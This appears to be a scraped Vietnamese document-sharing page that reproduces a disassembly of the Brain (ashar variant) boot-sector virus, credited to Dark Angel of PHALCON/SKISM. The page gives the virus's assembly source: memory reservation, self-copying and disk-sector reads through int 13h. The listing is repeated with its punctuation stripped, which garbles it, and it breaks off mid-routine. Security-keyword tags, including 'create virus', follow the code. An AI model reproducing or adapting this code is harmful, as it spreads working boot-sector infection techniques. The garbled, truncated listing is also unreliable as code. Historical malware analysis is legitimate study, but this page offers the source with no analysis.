TAILIEUCHUNG - Code virus brain

Code virus brain : ; This is the ashar variant of the classic Pakistani Brain virus. It is large ; by today's standards, although it was one of the first. It is a floppy only ; boot sector infector. brain segment byte public assume cs:brain, ds:brain ; Disassembly done by Dark Angel of PHALCON/SKISM org 0 cli jmp entervirus idbytes db 34h, 12h firsthead db 0 firstsector dw 2707h curhead db 0 cursector dw 1 db 0, 0, 0, 0 db 'Welcome to the Dungeon ' copyright db '(c) 1986 Brain' db 17h db '& Amjads (pvt) Ltd VIRUS_SHOE '. | Code virus brain This is the ashar variant of the classic Pakistani Brain virus. It is large by today s standards although it was one of the first. It is a floppy only boot sector infector. brain segment byte public assume cs brain ds brain Disassembly done by Dark Angel of PHALCON SKISM org 0 cli jmp entervirus idbytes db 34h 12h firsthead db 0 firstsector dw 2707h curhead db 0 cursector dw 1 db 0 0 0 0 db Welcome to the Dungeon copyright db c 1986 Brain db 17h db Amjads pvt Ltd VIRUS_SHOE db RECORD Dedicated to th db e dynamic memories of millions o db f virii who are no longer with u db s today - Thanks GoOdnESS db BEWARE OF THE th db is program is catching prog db ram follows after these messeges db . db @ db @ entervirus mov ax cs mov ds ax ds 0 mov ss ax set stack to after mov sp 0F000h virus sti mov al ds 7C00h offset firsthead mov ds 7C00h offset curhead al mov cx ds 7C00h offset firstsector mov ds 7C00h offset cursector cx call calcnext mov cx 5 read five sectors mov bx 7C00h 200h after end of virus loadnext call readdisk call calcnext add bx 200h loop loadnext mov ax word ptr ds 413h Base memory size in Kb sub ax 7 - 7 Kb mov word ptr ds 413h ax Insert as new value mov cl 6 shl ax cl Convert to paragraphs mov es ax mov si 7C00h Copy from virus start mov di 0 to start of memory mov cx 1004h Copy 1004h bytes cld rep movsb push es mov ax 200h push ax retf return to old boot sector readdisk push cx push bx mov cx 4 Try 4 times tryread push cx mov dh ds 7C00h offset curhead mov dl 0 Read sector from default mov cx ds 7C00h offset cursector mov ax 201h Disk to memory at es bx int 13h jnc readOK mov ah 0 Reset disk int 13h force read track 0 pop cx loop tryread int 18h ROM basic on failure readOK pop cx pop bx pop cx retn calcnext mov al byte ptr ds 7C00h offset cursector inc al mov byte ptr ds 7C00h offset cursector al cmp al 0Ah jne donecalc mov byte ptr ds 7C00h offset cursector 1 mov al ds 7C00h offset curhead inc al mov ds 7C00h offset curhead

• An ninh - Bảo mật
• mẹo diệt virus
• xử lý virus
• virus máy tính
• bảo mật dữ liệu
• bảo mật máy tính
• an ninh máy tính
• cách diệt virus
• hướng dẫn diệt virus
• phần mềm diệt virus
• bảo vệ máy tính
• Virus lạ khi dùng YM
• virus lạ
• diệt virus máy tính
• diệt virut bằng tay
• cách diệt virut
• diệt Virut offline
• phương pháp diệt virus
• thủ thuật diệt virus
• mẹo vặt diệt virus
• tài liệu diệt virus
• cách tấn công của virus
• virus
• Các mẹo diệt virus
• công nghệ thông tin
• tin học văn phòng
• thủ thuật tin học
• hình thức lây nhiễm virus
• bảo mật mạng
• quy tắc bảo mật
• mẹo bảo mật
• kỹ thuật máy tính
• tim hieu
• tìm hiểu
• phong chong
• phòng chống
• tạo virus
• Quét Virus bằng đĩa Hiren Boot
• cách quét virus kavo
• trị máy tính bị nhiễm virus
• vius
• tiểu luận nghiên cứu đề tài
• khảo sát vius One Hafl